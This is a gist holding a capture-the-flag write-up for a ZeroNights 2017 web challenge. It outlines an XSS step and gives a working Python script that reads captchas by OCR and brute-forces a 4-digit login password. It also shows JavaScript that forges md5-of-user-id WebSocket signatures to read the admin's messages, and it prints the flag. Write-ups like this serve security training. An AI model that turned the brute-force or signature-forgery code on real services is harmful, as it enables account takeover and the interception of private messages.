Skip to content

Instantly share code, notes, and snippets.

@own2pwn
Forked from paul-axe/zn2017d3.md
Created November 1, 2017 06:25
Show Gist options
  • Save own2pwn/55b0f5b0eb4443721a659e38f4292272 to your computer and use it in GitHub Desktop.
Save own2pwn/55b0f5b0eb4443721a659e38f4292272 to your computer and use it in GitHub Desktop.
ZeroNights 2017 Day #3 / YOUAREWELCOME writeup
  1. XSS in feedback form. Got access to moderator account. Nothing useful here though, except the list of approved accounts.
  2. Trying to register own team - got password to email. Password is 4 digits, so can be easily bruteforced.
  3. Login form is protected with simple captcha. Wrote simple script using pytesseract https://github.com/madmaze/pytesseract to recognize captcha and bruteforce login form. After 10 minutes got password for one of approved team account.
import sys                                                                 
import io                   
import re                     
import requests                     
import pytesseract            
from PIL import Image  
from multiprocessing import Pool

def get_cap():    
    URL = "http://zeronights.sibirctf.org/2017/sign_up"                                        
    CAP_URL = "http://zeronights.sibirctf.org/captcha/image/"
    r = requests.get(URL)                                    
    res = r.text                      
    h = re.findall("/captcha/image/([a-f0-9]+)/", res)[0]         
    img_f = io.BytesIO(requests.get(CAP_URL+h+"/").content)
    c = pytesseract.image_to_string(Image.open(img_f), config="./tesseract.config")
    return (h, c)   
    
def brute(x):
    URL = "http://zeronights.sibirctf.org/2017/login"
    email = "keva_a78ff3@sibirctf.org"

    h, c = get_cap()
    r = requests.post(URL, data={
        "_username": email,
        "_password":str(x),
        "captcha_0": h,
        "captcha_1": c
        })
    if (r.status_code) != 400:
        print(email, x)
        sys.exit(0)

pool = Pool(10)
pool.map(brute, range(1000,10000))
pool.close()
pool.join()
  1. Approved user accounts have WebSocket-based chat window. Every WebSocket message should contain signature which authorizes sender. Unfortunately, existing signatures was incorrect. Actually signature was md5('10'), while my user account id was 4. Tried use md5('4') and it worked.
    var my_user_id = 4,
        my_sign = "d3d9446802a44259755d38e6d163e820";
  1. There was two possible message types: "new" - subscribe to new messages and "message" - send the message to somebody. Sending messages to admin account was useless, so i decided to subscribe to new messages for admin account using md5('1') as a signature.
var uid = 1;
var sign = 'c4ca4238a0b923820dcc509a6f75849b';
ws = new WebSocket("ws://13.93.88.79:8001/");
ws.onmessage = function(e) {
    try {
        console.log(JSON.parse(e.data))
    } catch(Exception ) {
        console.log((e.data))
    }
}


ws.onopen = function(){
    ws.send(JSON.stringify({
        'type': 'new',
        'userid': uid,
        'signature': sign
    }));
};
  1. Seems like there was some issues with bot, sending flag messages to admin account, but after a while i got it. w0w_c0n6r47ul4710n_m337_47_z3r0n16h75
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment